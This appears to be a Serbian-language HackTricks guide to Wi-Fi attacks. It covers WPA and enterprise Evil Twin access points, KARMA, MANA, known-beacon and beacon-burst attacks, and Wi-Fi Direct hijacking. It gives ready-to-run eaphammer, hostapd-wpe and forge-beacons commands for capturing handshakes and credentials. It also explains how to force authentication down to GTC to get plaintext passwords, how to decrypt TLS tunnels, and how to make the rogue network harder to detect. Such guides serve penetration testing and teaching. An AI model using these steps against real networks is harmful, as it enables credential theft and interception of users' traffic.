Molimo, primetite da ako je ESSID u PNL-u sačuvan kao zaštićen WPA, uređaj se neće automatski povezati sa otvorenim zlim blizancem. Možete pokušati da DoS-ujete pravi AP i nadati se da će korisnik ručno povezati sa vašim otvorenim zlim blizancem, ili možete DoS-ovati pravi AP i koristiti WPA Evil Twin da biste uhvatili handshake (koristeći ovu metodu nećete moći da pustite žrtvu da se poveže sa vama jer ne znate PSK, ali možete uhvatiti handshake i pokušati da ga probijete).

Neki OS i AV će upozoriti korisnika da je povezivanje sa otvorenom mrežom opasno...

WPA/WPA2 Evil Twin

Možete kreirati Zlog blizanca koristeći WPA/2 i ako su uređaji konfigurisani da se povežu sa tim SSID-om sa WPA/2, pokušaće da se povežu. U svakom slučaju, da biste završili 4-way handshake takođe morate znati šifru koju će klijent koristiti. Ako je ne znate, povezivanje neće biti završeno.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Poslovni zlonamerni blizanac

Da biste razumeli ove napade, preporučujem da prvo pročitate kratak objašnjenje WPA Enterprise.

Korišćenje hostapd-wpe

hostapd-wpe zahteva konfiguracioni fajl da bi radio. Da biste automatizovali generisanje ovih konfiguracija, možete koristiti https://github.com/WJDigby/apd_launchpad (preuzmite python fajl unutar /etc/hostapd-wpe/).

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

U konfiguracionom fajlu možete izabrati mnogo različitih stvari kao što su ssid, kanal, korisničke datoteke, cret/key, dh parametri, wpa verzija i autentifikacija...

Korišćenje hostapd-wpe sa EAP-TLS da omogući bilo kom sertifikatu da se prijavi.

Korišćenje EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Podrazumevano, EAPHammer koristi ove metode autentikacije (primetite da je GTC prva koja se koristi za dobijanje šifri u obliku običnog teksta, a zatim se koriste pouzdanije autentikacione metode):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Ovo je podrazumevana metodologija za izbegavanje dugih vremena povezivanja. Međutim, takođe možete specificirati serveru metode autentikacije od najslabije do najjače:

--negotiate weakest

Ili možete koristiti:

  • --negotiate gtc-downgrade za korišćenje visoko efikasne implementacije GTC downgrade-a (lozinke u plaintext formatu)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP da ručno specificirate ponuđene metode (ponuđene iste autentikacione metode u istom redosledu kao organizacija će učiniti napad mnogo teže otkriti).
  • Pronađite više informacija u wiki-u

Korišćenje Airgeddon-a

Airgeddon može koristiti prethodno generisane sertifikate da ponudi EAP autentikaciju za WPA/WPA2-Enterprise mreže. Lažna mreža će smanjiti protokol veze na EAP-MD5 kako bi mogla uhvatiti korisnika i MD5 lozinke. Kasnije, napadač može pokušati da probije lozinku.
Airggedon vam nudi mogućnost kontinuiranog napada Evil Twin (buka) ili samo kreiranje Evil Attack-a dok se neko ne poveže (gladak).

Otklanjanje grešaka u PEAP i EAP-TTLS TLS tunelima u napadima Evil Twins

Ova metoda je testirana u PEAP vezi ali pošto dešifrujem proizvoljan TLS tunel, ovo bi takođe trebalo da funkcioniše sa EAP-TTLS

Unutar konfiguracije hostapd-wpe iskomentarišite liniju koja sadrži dh_file (od dh_file=/etc/hostapd-wpe/certs/dh do #dh_file=/etc/hostapd-wpe/certs/dh)
Ovo će naterati hostapd-wpe da razmenjuje ključeve koristeći RSA umesto DH, tako da ćete moći da dešifrujete saobraćaj kasnije znajući privatni ključ servera.

Sada pokrenite Evil Twin koristeći hostapd-wpe sa tom modifikovanom konfiguracijom kao i obično. Takođe, pokrenite wireshark na interfejsu koji vrši napad Evil Twin.

Sada ili kasnije (kada već uhvatite neke autentikacione namere) možete dodati privatni RSA ključ u wireshark-u na: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Dodajte novi unos i popunite formu sa ovim vrednostima: IP adresa = bilo koja -- Port = 0 -- Protokol = podaci -- Datoteka ključa (izaberite svoju datoteku ključa, da biste izbegli probleme izaberite datoteku ključa koja nije zaštićena lozinkom).

I pogledajte novi "Dešifrovani TLS" tab:

KARMA, MANA, Loud MANA i Known beacons napad

ESSID i MAC crne/belih lista

Različite vrste Media Access Control Filter Listi (MFACLs) i njihovi odgovarajući režimi i efekti na ponašanje lažne Access Point (AP):

  1. MAC bazirana bela lista:
  • Lažni AP će odgovoriti samo na upite uređaja navedenih u beloj listi, ostajući nevidljiv za sve ostale koji nisu navedeni.
  1. MAC bazirana crna lista:
  • Lažni AP će ignorisati upite uređaja na crnoj listi, efikasno čineći lažni AP nevidljivim za te specifične uređaje.
  1. ESSID bazirana bela lista:
  • Lažni AP će odgovoriti na upite samo za specifične ESSID-ove navedene na listi, čineći ga nevidljivim za uređaje čiji Preferred Network List (PNL) ne sadrži te ESSID-ove.
  1. ESSID bazirana crna lista:
  • Lažni AP neće odgovoriti na upite za specifične ESSID-ove na crnoj listi, čineći ga nevidljivim za uređaje koji traže te određene mreže.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]

# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Ova metoda omogućava napadaču da napravi zlonamernu tačku pristupa (AP) koja odgovara na sve zahteve za sondiranje uređaja koji pokušavaju da se povežu sa mrežama. Ova tehnika vara uređaje da se povežu sa AP napadača imitirajući mreže koje uređaji traže. Kada uređaj pošalje zahtev za povezivanje sa ovom lažnom AP, on završava povezivanje, dovodeći uređaj da greškom poveže sa mrežom napadača.

MANA

Zatim, uređaji su počeli da ignorišu neželjene mrežne odgovore, smanjujući efikasnost originalnog karma napada. Međutim, novi metod, poznat kao MANA napad, predstavili su Ian de Vilijers i Dominic Vajt. Ova metoda uključuje zlonamernu AP hvatanje Liste Preferiranih Mreža (PNL) sa uređaja odgovarajući na njihove emitovane zahteve za sondiranje sa imenima mreža (SSID) prethodno traženih od strane uređaja. Ovaj sofisticirani napad zaobilazi zaštitu protiv originalnog karma napada iskorišćavanjem načina na koji uređaji pamte i prioritizuju poznate mreže.

MANA napad funkcioniše tako što prati kako usmerene tako i emitovane zahteve za sondiranje uređaja. Za usmerene zahteve, beleži MAC adresu uređaja i traženo ime mreže, dodajući ove informacije na listu. Kada se primi emitovani zahtev, AP odgovara informacijama koje se podudaraju sa bilo kojom od mreža na listi uređaja, privlačeći uređaj da se poveže sa zlonamernom AP.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Bučan MANA

Bučan MANA napad je napredna strategija kada uređaji ne koriste usmereno istraživanje ili kada je Lista preferiranih mreža (PNL) nepoznata napadaču. Ovaj napad funkcioniše na principu da uređaji u istom području verovatno dele neka imena mreža u svojim PNL-ovima. Umesto selektivnog odgovaranja, ovaj napad emituje odgovore na upite za svako ime mreže (ESSID) pronađeno u kombinovanim PNL-ovima svih posmatranih uređaja. Ovaj širok pristup povećava šansu da uređaj prepozna poznatu mrežu i pokuša da se poveže sa lažnom tačkom pristupa (AP).

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Poznati Beacon napad

Kada Loud MANA napad možda nije dovoljan, Poznati Beacon napad predstavlja drugi pristup. Ovaj metod bruteforsira proces povezivanja simulirajući AP koji odgovara na bilo koje mrežno ime, prolazeći kroz listu potencijalnih ESSID-ova izvedenih iz liste reči. Ovo simulira prisustvo brojnih mreža, u nadi da će se poklopiti ESSID unutar PNL žrtve, podstičući pokušaj povezivanja sa fabrikovanim AP-om. Napad se može pojačati kombinovanjem sa opcijom --loud za agresivniji pokušaj uhvatiti uređaje.

Eaphammer je implementirao ovaj napad kao MANA napad gde su svi ESSID-ovi unutar liste optuženi (možete takođe kombinovati ovo sa --loud da biste kreirali Loud MANA + Poznati beacon napad):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Napad poznat kao Beacon Burst

Napad poznat kao Beacon Burst uključuje brzo emitovanje okvira oznaka za svaki ESSID naveden u datoteci. Ovo stvara gustu okolinu lažnih mreža, značajno povećavajući verovatnoću da se uređaji povežu sa zlonamernom AP, posebno kada se kombinuje sa MANA napadom. Ova tehnika koristi brzinu i obim da preplavi mehanizme izbora mreže uređaja.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct je protokol koji omogućava uređajima da se direktno povežu jedan s drugim koristeći Wi-Fi, bez potrebe za tradicionalnom bežičnom pristupnom tačkom. Ova sposobnost je integrisana u različite uređaje Internet stvari (IoT), kao što su štampači i televizori, olakšavajući direktnu komunikaciju uređaja do uređaja. Značajna karakteristika Wi-Fi Direct-a je da jedan uređaj preuzima ulogu pristupne tačke, poznate kao vlasnik grupe, kako bi upravljao vezom.

Bezbednost za Wi-Fi Direct veze se uspostavlja kroz Wi-Fi Protected Setup (WPS), koji podržava nekoliko metoda za sigurno uparivanje, uključujući:

  • Konfiguracija putem dugmeta (PBC)
  • Unos PIN-a
  • Near-Field Communication (NFC)

Ove metode, posebno unos PIN-a, su podložne istim ranjivostima kao WPS u tradicionalnim Wi-Fi mrežama, čineći ih ciljevima sličnih vektora napada.

EvilDirect Hijacking

EvilDirect Hijacking je napad specifičan za Wi-Fi Direct. On oponaša koncept napada Evil Twin, ali cilja Wi-Fi Direct veze. U ovom scenariju, napadač se predstavlja kao legitimni vlasnik grupe s ciljem da prevari uređaje da se povežu s zlonamernim entitetom. Ovaj metod se može izvršiti korišćenjem alata poput airbase-ng navođenjem kanala, ESSID-a i MAC adrese oponašanog uređaja:

Reference

TODO: Pogledajte https://github.com/wifiphisher/wifiphisher (prijava putem Facebook-a i imitacija WPA na portalima za zarobljavanje)

Pridružite se HackenProof Discord serveru kako biste komunicirali s iskusnim hakerima i lovcima na bagove!

Hacking Insights
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti u realnom vremenu o hakovanju
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Poslednje najave
Budite informisani o najnovijim programima nagrađivanja za pronalaženje bagova i važnim ažuriranjima platforme

Pridružite nam se na Discord-u i počnite da sarađujete s vrhunskim hakerima danas!

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: